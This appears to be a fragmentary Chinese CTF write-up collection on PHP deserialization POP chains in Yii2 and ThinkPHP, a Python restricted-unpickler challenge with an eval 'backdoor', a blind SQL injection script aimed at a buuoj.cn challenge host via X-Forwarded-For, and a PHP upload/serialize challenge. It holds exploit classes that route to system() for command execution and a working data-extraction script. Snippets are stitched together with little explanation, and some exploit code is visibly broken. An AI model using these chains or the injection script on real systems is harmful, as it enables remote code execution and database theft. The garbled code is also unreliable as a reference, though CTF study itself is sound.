class TestController extends Controller{ public function actionTest($data){ $name=\Yii::$app->request->get('data'); return unserialize(base64_decode($name)); } }
public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter);
*/ public function __destruct() { foreach ($this->keys as $nsKey => $null) { $this->clearAll($nsKey); } }
跟进clearAll()函数,
1 2 3 4 5 6 7 8 9 10 11 12
public function clearAll($nsKey) { if (array_key_exists($nsKey, $this->keys)) { foreach ($this->keys[$nsKey] as $itemKey => $null) { $this->clearKey($nsKey, $itemKey); } if (is_dir($this->path.'/'.$nsKey)) { rmdir($this->path.'/'.$nsKey); } unset($this->keys[$nsKey]); } }
发现$nsKey和$itemKey是可控点,所以跟进clearKey()函数
1 2 3 4 5 6 7
public function clearKey($nsKey, $itemKey) { if ($this->hasKey($nsKey, $itemKey)) { $this->freeHandle($nsKey, $itemKey); unlink($this->path.'/'.$nsKey.'/'.$itemKey); } }
class BatchQueryResult { private $_dataReader; public function __construct($fun,$argv){ $this->_dataReader=new DbSession($fun,$argv); } }
namespace yii\web;
abstract class MultiFieldSession { public $writeCallback; }
class DbSession extends MultiFieldSession { public function __construct($fun,$argv){ $this->writeCallback=[new \yii\rest\IndexAction($fun,$argv),"run"]; } }
namespace yii\rest;
class IndexAction { public $checkAccess; public $id; public function __construct($fun,$argv){ $this->checkAccess=$fun; $this->id=$argv; } }
public function __call($method, $args) { if (array_key_exists($method, $this->hook)) { array_unshift($args, $this); return call_user_func_array($this->hook[$method], $args); }
throw new Exception('method not exists:' . static::class . '->' . $method); }
abstract class Model implements \JsonSerializable, \ArrayAccess { use model\concern\Attribute; use model\concern\RelationShip; use model\concern\ModelEvent; use model\concern\TimeStamp; use model\concern\Conversion;
abstract class Model { protected $append; private $data; public function __construct{ $this->append=["huhu"=>[]]; $this->data=["huhu"=>new Request()]; } }
namespace think\model;
use think\Model;
class Pivot extends Model { } ?>
然后触发Request类的__call()魔术方法,所以我们可以构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
<?php
namespace think;
class Request { protected $hook; protected $config=[]; protected filter;
public function __constuct{ $this->hook=["visible"=>[$this,isAjax]]; $this->config["var_ajax"=>'huhu']; $this->filter="system"; } } ?>
class Request { protected $hook; protected $config=[]; protected filter;
public function __constuct{ $this->hook=["visible"=>[$this,isAjax]]; $this->config["var_ajax"=>'huhu']; $this->filter="system"; } }
abstract class Model { protected $append; private $data; public function __construct{ $this->append=["huhu"=>[]]; $this->data=["huhu"=>new Request()]; } }
namespace think\model;
use think\Model;
class Pivot extends Model { }
namespace think\process\pipes;
use think\model\Pivot;
class Windows { private $file=[]; public function __construct(){ $this->file=[new Pivot()]; } }
$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
// check whether file is uploaded if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) { error('No file was uploaded.'); }
// check file size if ($_FILES['file']['size'] > 256000) { error('Uploaded file is too large.'); }
// check file type $finfo = finfo_open(FILEINFO_MIME_TYPE); $type = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo); if (!in_array($type, ['image/png'])) { error('Uploaded file is not PNG format.'); }
// check file width/height $size = getimagesize($_FILES['file']['tmp_name']); if ($size[0] > 256 || $size[1] > 256) { error('Uploaded image is too large.'); } if ($size[2] !== IMAGETYPE_PNG) { // I hope this never happens... error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>'); }
from flask import Flask, request, session, render_template_string, url_for,redirect import pickle import io import sys import base64 import random import subprocess from config import notadmin
app = Flask(__name__)
class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module in ['config'] and "__" not in name: return getattr(sys.modules[module], name) raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))
def restricted_loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/') def index(): info = request.args.get('name', '') if info is not '': x = base64.b64decode(info) User = restricted_loads(x) return render_template_string('Hello')
if __name__ == '__main__': app.run(host='0.0.0.0', debug=True, port=5000)
config.py
1 2 3 4 5 6
notadmin={"admin":"no"}
def backdoor(cmd): if notadmin["admin"]=="yes": s=''.join(cmd) eval(s)
class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module in ['config'] and "__" not in name: return getattr(sys.modules[module], name) raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))
# coding:utf-8 import requests import time url = 'http://node4.buuoj.cn:25670/'
res = '' for i in range(1,200): print(i) left = 31 right = 127 mid = left + ((right - left)>>1) while left < right: #payload = "0' or (ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{}) or '0".format(i,mid) #payload = "0' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'F4l9_D4t4B45e'),{},1))>{}) or '0".format(i,mid) #payload = "0' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e'),{},1))>{}) or '0".format(i,mid) payload = "0' or (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '0".format(i,mid) headers = { 'Cookie': 'track_uuid=6e17fe5e-140c-4138-dea6-d197aa6214e3', 'X-Forwarded-For': payload } r = requests.post(url = url, headers = headers)
if r.status_code == 429: print('too fast') time.sleep(2) if 'Last Ip: 1' in r.text: left = mid + 1 elif 'Last Ip: 1' not in r.text: right = mid mid = left + ((right-left)>>1) if mid == 31 or mid == 127: break res += chr(mid) print(str(mid),res) time.sleep(1) # information_schema,ctftraining,mysql,performance_schema,test,ctf,F4l9_D4t4B45e #F4l9_t4b1e #F4l9_C01uMn
<?php class helper { protected $folder = "pic/"; protected $ifview = False; protected $config = "config.txt"; // The function is not yet perfect, it is not open yet.
public function upload($input="file") { $fileinfo = $this->getfile($input); $array = array(); $array["title"] = $fileinfo['title']; $array["filename"] = $fileinfo['filename']; $array["ext"] = $fileinfo['ext']; $array["path"] = $fileinfo['path']; $img_ext = getimagesize($_FILES[$input]["tmp_name"]); $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]); $array["attr"] = serialize($my_ext); $id = $this->save($array); if ($id == 0){ die("Something wrong!"); } echo "<br>"; echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>"; }
public function getfile($input) { if(isset($input)){ $rs = $this->check($_FILES[$input]); } return $rs; }
public function save($data) { if(!$data || !is_array($data)){ die("Something wrong!"); } $id = $this->insert_array($data); return $id; }
public function insert_array($data) { $con = mysqli_connect("127.0.0.1","root","root","pic_base"); if (mysqli_connect_errno($con)) { die("Connect MySQL Fail:".mysqli_connect_error()); } $sql_fields = array(); $sql_val = array(); foreach($data as $key=>$value){ $key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key); $value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value); $sql_fields[] = "`".$key_temp."`"; $sql_val[] = "'".$value_temp."'"; } $sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")"; mysqli_query($con, $sql); $id = mysqli_insert_id($con); mysqli_close($con); return $id; }
public function view_files($path){ if ($this->ifview == False){ return False; //The function is not yet perfect, it is not open yet. } $content = file_get_contents($path); echo $content; }
function __destruct(){ # Read some config html $this->view_files($this->config); } }
?>
我们查看上传文件的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
public function upload($input="file") { $fileinfo = $this->getfile($input); $array = array(); $array["title"] = $fileinfo['title']; $array["filename"] = $fileinfo['filename']; $array["ext"] = $fileinfo['ext']; $array["path"] = $fileinfo['path']; $img_ext = getimagesize($_FILES[$input]["tmp_name"]); $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]); $array["attr"] = serialize($my_ext); $id = $this->save($array); if ($id == 0){ die("Something wrong!"); } echo "<br>"; echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>"; }
我们可以发现一个序列化的点
1
$array["attr"] = serialize($my_ext);
而且,通过审计helper.php源码,还发现了一个危险的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14
public function view_files($path){ if ($this->ifview == False){ return False; //The function is not yet perfect, it is not open yet. } $content = file_get_contents($path); echo $content; }
function __destruct(){ # Read some config html $this->view_files($this->config); } }